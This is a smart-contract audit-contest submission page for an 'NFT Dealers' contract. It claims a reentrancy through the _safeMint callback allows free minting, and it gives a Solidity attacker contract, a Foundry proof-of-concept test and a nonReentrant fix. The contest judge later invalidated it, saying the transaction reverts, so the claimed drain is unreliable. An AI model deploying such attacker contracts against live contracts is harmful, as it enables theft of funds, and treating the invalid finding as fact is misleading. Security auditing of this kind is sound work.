NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Impact: medium
Likelihood: high
Invalid

Cross-function reentrancy via `_safeMint` callback enables free NFT minting

ramilmustafin33

Description

  • mintNft collects lockAmount USDC as collateral from the minter, stores it in collateralForMinting[tokenId], and then mints the NFT to the caller using _safeMint.

  • _safeMint triggers the onERC721Received callback on the recipient if it is a contract. At the point the callback fires, collateralForMinting[tokenId] has already been set but the mint is not yet complete. A whitelisted attacker contract uses this window to call list() (ownership check passes because ERC721 state is updated before the callback) and immediately cancelListing(), which refunds the full collateralForMinting[tokenId] — resulting in a zero-net-cost mint. There is no reentrancy guard on any of these functions.

function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
if (msg.sender == address(0)) revert InvalidAddress();
require(tokenIdCounter < MAX_SUPPLY, "Max supply reached");
require(msg.sender != owner, "Owner can't mint NFTs");
​
require(usdc.transferFrom(msg.sender, address(this), lockAmount), "USDC transfer failed");
​
tokenIdCounter++;
@> collateralForMinting[tokenIdCounter] = lockAmount; // collateral stored
​
@> _safeMint(msg.sender, tokenIdCounter);
// ^ triggers onERC721Received on attacker contract:
// 1. attacker.list(tokenId, MIN_PRICE) -- ownership already updated by _mint inside _safeMint
// 2. attacker.cancelListing(tokenId) -- collateralForMinting[tokenId] returned, zeroed
// attacker now holds NFT + collateral back = free mint
}

Risk

Likelihood:

  • Any whitelisted address that is a smart contract can trigger this — whitelisted users are normal marketplace participants, not privileged admins.

  • The exploit is fully deterministic and requires no external conditions beyond holding a whitelist slot.

Impact:

  • Attacker receives the minted NFT at zero cost (collateral fully recovered via cancelListing).

  • Repeated across MAX_SUPPLY mints, all minting collateral locked by other honest minters can be drained.

Proof of Concept

Add MintReentryAttacker outside NFTDealersTest (e.g., at the bottom of the file), then paste testPoC_SafeMintReentrancy inside NFTDealersTest. Run:
forge test --match-test testPoC_SafeMintReentrancy -vvvv

contract MintReentryAttacker {
NFTDealers private nft;
​
constructor(address _nft) {
nft = NFTDealers(_nft);
}
​
function attack() external {
nft.mintNft();
}
​
function onERC721Received(address, address, uint256 tokenId, bytes calldata)
external
returns (bytes4)
{
// At this point: NFT is already minted to this contract, collateralForMinting[tokenId] is set
nft.list(tokenId, uint32(nft.MIN_PRICE())); // passes: attacker owns the token
nft.cancelListing(tokenId); // refunds collateralForMinting[tokenId] back
return this.onERC721Received.selector;
}
}
​
// Place inside NFTDealersTest contract
function testPoC_SafeMintReentrancy() public {
vm.prank(owner);
nftDealers.revealCollection();
​
MintReentryAttacker attacker = new MintReentryAttacker(address(nftDealers));
​
uint256 lockAmount = nftDealers.lockAmount(); // 20e6
usdc.mint(address(attacker), lockAmount);
​
vm.prank(owner);
nftDealers.whitelistWallet(address(attacker));
​
// Approve NFTDealers to pull collateral from attacker
vm.prank(address(attacker));
usdc.approve(address(nftDealers), lockAmount);
​
uint256 usdcBefore = usdc.balanceOf(address(attacker)); // 20e6
​
attacker.attack();
​
// Attacker holds the NFT and recovered all USDC — net cost is zero
assertEq(nftDealers.ownerOf(1), address(attacker));
assertEq(usdc.balanceOf(address(attacker)), usdcBefore); // full refund via reentrancy
assertEq(usdc.balanceOf(address(nftDealers)), 0); // contract drained of collateral
}

Recommended Mitigation

Add a nonReentrant modifier (from ReentrancyGuard) to all state-mutating functions that touch collateralForMinting or perform external calls. This closes the current vector and any future cross-function reentrancy paths in the contract.

+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
​
- contract NFTDealers is ERC721 {
+ contract NFTDealers is ERC721, ReentrancyGuard {
- function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
+ function mintNft() external payable onlyWhenRevealed onlyWhitelisted nonReentrant {
​
- function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted {
+ function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted nonReentrant {
​
- function buy(uint256 _listingId) external payable {
+ function buy(uint256 _listingId) external payable nonReentrant {
​
- function cancelListing(uint256 _listingId) external {
+ function cancelListing(uint256 _listingId) external nonReentrant {
​
- function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
+ function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) nonReentrant {

nonReentrant blocks any reentrant call into the contract while a guarded function is executing, preventing the onERC721Received callback from calling list / cancelListing and draining collateralForMinting.

Updates

Lead Judging Commences

rubik0n Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-risk

This is a real reentrancy point, but not an exploitable one. The transaction will revert on the second ERC721 transfer.

Appeal created

rubik0n Lead Judge 8 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
Assigned finding tags:

Invalid

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!